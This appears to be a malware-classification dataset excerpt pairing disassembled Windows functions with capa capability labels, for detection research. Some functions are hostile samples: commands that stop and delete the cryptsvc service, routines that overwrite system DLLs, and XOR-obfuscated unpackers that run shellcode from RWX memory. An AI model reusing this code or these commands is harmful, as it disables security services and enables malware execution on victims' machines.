joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4397d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4533e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004310d4
and dword [ebp - 0x14], 0
cmp dword [0x455bb8], 0
mov dword [ebp - 0x18], eax
jne 0x439888
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x439930
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x446164
push ebx
call edi
test eax, eax
je 0x439930
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x455bb8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x455bbc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x455bc0], eax
call edi
push eax
call esi
mov dword [0x455bc8], eax
test eax, eax
je 0x439888
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x455bc4], eax
mov eax, dword [0x455bc4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4398e1
cmp dword [0x455bc8], ecx
je 0x4398e1
push eax
call esi
push dword [0x455bc8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4398e1
test ebx, ebx
je 0x4398e1
call edi
test eax, eax
je 0x4398d8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4398d8
test byte [ebp - 8], 1
jne 0x4398e1
or dword [ebp + 0x10], 0x200000
jmp 0x439914
mov eax, dword [0x455bbc]
cmp eax, dword [ebp - 0x18]
je 0x439914
push eax
call esi
test eax, eax
je 0x439914
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x439914
mov eax, dword [0x455bc0]
cmp eax, dword [ebp - 0x18]
je 0x439914
push eax
call esi
test eax, eax
je 0x439914
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x455bb8]
call esi
test eax, eax
je 0x439930
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x439932
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042b939
leave
ret
Function at 0x300015be
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
fisttp word cs:[edx]
add byte [edx - 0x11fff520], dh
loopne 0x300015b5
add byte [edx], ah
loope 0x300015b9
add byte [eax], al
add byte [eax], al
add al, ch
invalid
inc edi
push 0x18
add cl, ch
rol dword [eax], 0
add byte [ebp - 0x75], dl
in al, dx
sub esp, 0x14
push ebx
push esi
push edi
push 0x3000166c
push 0x3001fa10
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x300015f3
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, dword [ebp - 8]
xor esi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
mov ebx, 0x3002dd90
push ebx
call edi
test esi, esi
mov dword [0x3002dd90], esi
je 0x3003e7f1
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push ebx
call edi
pop edi
pop esi
mov dword [0x300b4d4c], 0x44bf19b1
pop ebx
leave
ret
mov dword [0x3002dd90], 0xbb40e64e
jmp 0x30001651

Function at 0x30001bc7
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x3002dd90]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.30001c6c
mov eax, 0x30000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x30001c48
cmp dword [ebp - 0x1c], 5
jb 0x30001c18
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x30001c5c
call fcn.30001ca2
test eax, eax
jl 0x3003ea5b
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.30001d24
add ebp, 0x78
leave
ret
cmp dword [ebp - 0x10], 1
je 0x3003ea46
jmp 0x30001c18
cmp dword [ebp - 0x18], 0
jbe 0x30001c18
jmp 0x30001c14
cmp dword [ebp - 0x1c], 4
ja 0x30001c14
je 0x30001c54
jmp 0x30001c18
mov byte [0x300b7fe0], 1
jmp 0x30001c36
Function at 0x401270
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x508
test eax, eax
push ebp
mov ebp, dword [esp + 0x510]
push esi
push edi
je 0x401336
mov eax, dword [0x40ed1c]
mov dword [esp + 0xc], 0
test eax, eax
jle 0x4012ec
mov edi, 0x40ed20
mov esi, ebp
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4012ca
test cl, cl
je 0x4012c6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4012ca
add eax, 2
add esi, 2
test cl, cl
jne 0x4012a6
xor eax, eax
jmp 0x4012cf
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40132a
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40ed1c]
inc eax
add edi, 0x104
cmp eax, ecx
mov dword [esp + 0xc], eax
jl 0x4012a2
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.NYCSClient.exe
push ebp
lea eax, [esp + 0x18]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401336
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x508
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.NYCSClient.exe
stosb byte es:[edi], al
call fcn.00402dd0
mov eax, dword [0x40ed1c]
mov edi, ebp
mov edx, eax
or ecx, 0xffffffff
shl edx, 6
add edx, eax
inc eax
mov dword [0x40ed1c], eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x40ed20]
mov eax, ecx
mov esi, edi
mov edi, edx
push str.ksuser.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push str._s_s
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x124]
push ecx
call esi
lea edx, [esp + 0x128]
push edx
call fcn.00402d10
add esp, 0x18
lea eax, [esp + 0x114]
push 0
push eax
push 0x410da0
call dword [0x40e218]
push str.midimap.dll
push ebp
lea ecx, [esp + 0x11c]
push str._s_s
push ecx
call esi
lea edx, [esp + 0x124]
push edx
call fcn.00402d10
add esp, 0x14
lea eax, [esp + 0x114]
push 0
push eax
push 0x410da0
call dword [0x40e218]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.msimg32.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402d10
add esp, 4
lea ecx, [esp + 0x114]
push 0
push ecx
push 0x410da0
call dword [0x40e218]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x508
ret
Function at 0x4019a0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40e248]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401a2f
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401a1f
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4019e8
test ebp, ebp
jle 0x401a5b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401a55
push esi
call fcn.004017d0
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401a44
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x401cc0
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret
Function at 0x401cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x31c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x31d]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40e904
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40cf28
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
call edi
lea edx, [esp + 0x124]
push esi
push edx
push str._syu_s
lea eax, [esp + 0x234]
push eax
call edi
add esp, 0x20
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401e1c
lea edx, [esp + 0x218]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
call dword [0x40e218]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402d10
add esp, 4
lea edx, [esp + 0x10]
push ebx
push edx
push 0x410da0
call dword [0x40e218]
lea eax, [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x324]
push str._sdllcache_s
push ecx
call edi
lea edx, [esp + 0x32c]
push edx
call fcn.00402d10
add esp, 0x14
lea eax, [esp + 0x31c]
lea ecx, [esp + 0x10]
push ebx
push eax
push ecx
call dword [0x40e218]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret
Function at 0x402120
Capabilities:
Create process on windows
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x2f0
push ebp
mov ebp, ecx
call fcn.004024e0
call fcn.00402b30
call fcn.00401a70
test eax, eax
je 0x402282
push str.NYCSClient.exe
call fcn.00402c00
add esp, 4
test eax, eax
je 0x40216e
push str.NYCSClient.exe
call fcn.00402dd0
add esp, 4
test eax, eax
jne 0x40216e
push eax
push 0x4020c0
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.00401b40
lea eax, [esp + 0x260]
mov dword [esp + 0x260], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.00401560
call fcn.00401660
call fcn.00401f10
cmp eax, 1
jne 0x4021ac
call fcn.00401e90
call fcn.004019a0
jmp 0x4021b1
call fcn.00401e90
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push 0x40e904
lea ecx, [esp + 0x64]
push str._s_rundll32.exe
push ecx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
call esi
push 0x40ea08
push 0x410da0
lea edx, [esp + 0x178]
push str.__s__ServerMain__s
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x50]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x164]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
add esp, 0x2f0
ret
Function at 0x402b30
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x40e904
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x40e800
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x40e6fc
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
push 0x40ea08
push 0
call esi
mov eax, dword [0x40ed14]
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
test eax, eax
je 0x402b9c
push 0x104
push 0x40ec10
push eax
call esi
push 0x40ec10
call edi
add esp, 4
push 0x40ea08
call edi
push 0x40ea08
call fcn.00402be0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40eb0c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x402d10
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402db8
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402db8
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0
push eax
push esi
call fcn.00402c90
add esp, 0xc
lea ecx, [esp + 8]
lea edx, [esp + 0x10c]
push ecx
push 0
push str.TEMP
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [esp + 8]
push 1
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call esi
push 4
lea ecx, [esp + 0xc]
push 0
push ecx
call esi
pop edi
pop esi
add esp, 0x208
ret

Function at 0x402dd0
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
call fcn.00402c00
add esp, 4
mov esi, eax
push esi
push 0
push 1
call ebx
test eax, eax
je 0x402e14
push 0
push eax
call ebp
test eax, eax
je 0x402e14
test esi, esi
je 0x402e1b
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402de4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x100583a7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x100583b6
pop dword [ebp - 0x28]
mov eax, 0x100583b6
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x6233fc88
sub dword [ebp - 0x38], 0x13e1b73d
mov dword [ebp - 0x34], 0x139d3be3
sub dword [ebp - 0x34], 0xe169ef9e
mov dword [ebp - 0x30], 0xf539706b
add dword [ebp - 0x30], 0x5712d3c3
mov dword [ebp - 0x2c], 0xcaf5167d
sub dword [ebp - 0x2c], 0xcaf5167d
lea eax, [ebp - 0x38]
push eax
mov eax, 0x8369e097
sub eax, 0x7363e087
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x97b74e1b
add dword [ebp - 0x38], 0xdcbb1b3b
mov dword [ebp - 0x34], 0xb6c5a5ae
add dword [ebp - 0x34], 0x8aa6bbc7
mov dword [ebp - 0x30], 0x9fa9ace4
sub dword [ebp - 0x30], 0x3c3a4078
mov dword [ebp - 0x2c], 0x8a69f503
add dword [ebp - 0x2c], 0x75960afd
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x56853
push 0
call eax
mov ecx, 0xd6b1e798
sub ecx, 0xd6b19cbb
mov ebx, eax
mov edx, 0x1008bc00
add edx, dword [ebp - 0x28]
mov edi, 0xef73836a
sub edi, 0x24ff92
mov esi, dword [edx]
sub dword [ebp - 0x18], 0x6ff91b17
add esi, edi
xor dword [ebp - 0x1c], edx
mov dword [ebx], esi
mov dword [ebp - 0x10], 0x76980c8d
add ebx, 0x84ed522f
sub ebx, 0x84ed522b
add edx, 4
loop 0x100584c8
add eax, 0x4623e3
sub eax, 0x45059c
xor ebx, ebx
add ebx, eax
add eax, 0x7eb07c2d
sub eax, 0x7eb07c28
mov ecx, 0xf62fcc31
sub ecx, 0xe62fcc31
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0xf1064c
Capabilities:
Encode data using xor

Disassembly:
add bl, ch
or byte [eax], al
sbb al, 0xc
add byte [eax], al
add byte [eax], al
add byte [eax - 0x18], ah
add byte [eax], al
add byte [eax], al
jmp 0xf10656
pushal
call 0xf1065c
pop ebp
sub ebp, 0x10
sub ebp, 0xb1064c
jmp 0xf10672
mov eax, 0xb1064c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a6
mov edx, 0x58d96791
xor byte [eax], dl
inc eax
dec ecx
jne 0xf10689
jmp 0xf1069c
add byte [eax], al
lea eax, [esi + 0x5c1a215f]
sbb bl, byte [eax]
sbb bl, byte [edx + ebx + 0x18]
lodsd eax, dword [esi]
xchg ecx, eax
xchg ecx, eax
xchg ecx, eax
adc byte [eax + 0x69], dl
xchg ecx, eax
xchg ecx, eax
xchg ecx, eax
xchg edx, eax
pop esp
sub dword [edi + 0x2b919191], edx
mov ecx, 0x66919191
jae 0xf1064b
pop ecx
sbb dl, byte [eax]
popfd
xchg ecx, eax
xchg ecx, eax
xchg ecx, eax
xchg edx, eax
push esp
rol ecx, 0xf9
xor eax, 0xf991b3a0
inc ebp
pop ds
xchg ecx, eax
nop
mov ebp, 0x57dbf9b5
cmpsb byte [esi], byte es:[edi]
mov eax, 0x91919479
xchg ecx, eax
js 0xf10696
xchg ecx, eax
xchg ecx, eax
xchg ecx, eax
invalid
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x405660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40566f
pop dword [ebp - 0x2c]
mov eax, 0x7dfff234
add eax, 0x8240643b
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x38ed2
push 0
mov eax, 0x2ce59087
add eax, 0xd35b5051
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xdbb89fbd
sub ecx, 0xdbb858e1
mov ebx, eax
mov esi, 0x503e58fd
add esi, 0xb002e2c7
add esi, dword [ebp - 0x2c]
mov edx, 0x600d52e9
add edx, 0x83a8d131
add dword [ebp - 0x14], esi
mov edi, dword [esi]
sub dword [ebp - 0x14], 0x23a7ab40
sub edi, edx
xor dword [ebp - 0x28], ecx
mov dword [ebx], edi
xor dword [ebp - 0x28], 0x632a8342
add ebx, 4
add esi, 0xc928a293
add esi, 0x36d75d71
loop 0x4056ce
add eax, 0x10e43
mov ebx, eax
add eax, 5
mov ecx, 0x4615a50
add ecx, 0xfbdea5b0
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x409607
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404f19
and dword [ebp - 4], 0
cmp dword [0x412990], 0
mov ebx, eax
jne 0x4096b8
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409769
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409769
push eax
call fcn.00405660
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x412990], eax
call esi
push eax
call fcn.00405660
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x412994], eax
call esi
push eax
call fcn.00405660
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x412998], eax
call esi
push eax
call fcn.00405660
pop ecx
mov dword [0x4129a0], eax
test eax, eax
je 0x4096b8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405660
pop ecx
mov dword [0x41299c], eax
mov eax, dword [0x41299c]
cmp eax, ebx
je 0x409710
cmp dword [0x4129a0], ebx
je 0x409710
push eax
call fcn.00405660
push dword [0x4129a0]
mov esi, eax
call fcn.00405660
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409710
test edi, edi
je 0x409710
call esi
test eax, eax
je 0x409707
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409707
test byte [ebp - 0xc], 1
jne 0x409710
or dword [ebp + 0x10], 0x200000
jmp 0x409749
mov eax, dword [0x412994]
cmp eax, ebx
je 0x409749
push eax
call fcn.00405660
pop ecx
test eax, eax
je 0x409749
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409749
mov eax, dword [0x412998]
cmp eax, ebx
je 0x409749
push eax
call fcn.00405660
pop ecx
test eax, eax
je 0x409749
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x412990]
call fcn.00405660
pop ecx
test eax, eax
je 0x409769
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40976b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1002aaee
pop dword [ebp - 0x24]
mov eax, 0x19bbf94c
sub eax, 0x9b94e5e
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf813251
sub dword [ebp - 0x34], 0xc12eed06
mov dword [ebp - 0x30], 0xbe6f6298
sub dword [ebp - 0x30], 0x8c3c1653
mov dword [ebp - 0x2c], 0xd0c3823b
add dword [ebp - 0x2c], 0x7b88c1f3
mov dword [ebp - 0x28], 0xc392dc4c
sub dword [ebp - 0x28], 0xc392dc4c
lea eax, [ebp - 0x34]
push eax
mov eax, 0x4f0dcd26
sub eax, 0x3f0b0cee
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x3619ea35
add dword [ebp - 0x34], 0x3e587f21
mov dword [ebp - 0x30], 0x9e9d1ee
add dword [ebp - 0x30], 0x37828f87
mov dword [ebp - 0x2c], 0x6e089f3
add dword [ebp - 0x2c], 0x5c8ee279
mov dword [ebp - 0x28], 0xeb83ba72
sub dword [ebp - 0x28], 0xeb83ba72
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x34f80
push 0
call eax
mov ecx, 0x4201
mov edx, eax
mov ebx, 0x1b569be5
sub ebx, 0xb5305e5
add ebx, dword [ebp - 0x24]
mov edi, 0x892d1f8c
add edi, 0xa9825e3d
xor dword [ebp - 0x20], 0x2f244158
mov esi, dword [ebx]
mov dword [ebp - 0x10], 0x4903057e
add esi, edi
mov dword [ebp - 0x14], 0x3920632c
mov dword [edx], esi
sub dword [ebp - 0x20], 0x91088f3a
add edx, 0xf49f4c39
sub edx, 0xf49f4c35
add ebx, 0xd54aa23d
sub ebx, 0xd54aa239
loop 0x1002ac05
add eax, 0x1474c0d
add eax, 0xfeb9aeca
xor ebx, ebx
add ebx, eax
add eax, 0xd8f4f1e7
sub eax, 0xd8f4f1e2
mov ecx, 0x186dc7c7
sub ecx, 0x86dc7c7
add ecx, dword [ebp - 0x24]
call ebx
leave
ret